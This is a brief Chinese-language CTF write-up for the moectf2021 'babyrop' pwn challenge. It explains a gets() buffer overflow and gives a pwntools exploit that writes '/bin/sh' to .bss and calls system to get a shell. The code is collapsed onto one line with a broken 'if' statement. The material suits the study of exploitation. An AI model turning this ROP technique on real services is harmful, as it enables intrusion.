moectf2021新生賽>>pwn>>babyrop
題目名:babyrop
WriteUp:
首先checksec
IDA分析
找到gets漏洞點,system的plt,產生利用rop構造參數來getshell的思路,但是無法直接從二進制文件中直接找到。
這里想到2個辦法1是ret2libc,暫且先不提,2是利用gets函數往.bss段內存寫入參數"/bin/sh",來制造參數
常規方法利用工具ROPgadgets構建ROPchain,但是這里可以直接利用棧結構來一步到位getshell
得出exp,如下:
from pwn import * context.log_level = 'debug' mode = 1 ip = '' port = '' binsh_offset = 0x17e0af gets_plt = 0x08048380 libcmain_addr = 0x804A018 bss_addr = 0x804A028 system_plt = 0x80483A0 payload = 'a' * 0x2c + p32(gets_plt) + p32(system_plt) + p32(bss_addr) + p32(bss_addr) if mode == 1 p = process("./babyrop") #gdb.attach(p,"b *0x08048380") else: p = remote(ip,port) p.sendlineafter("advise?",payload) p.send("/bin/sh\n") p.interactive()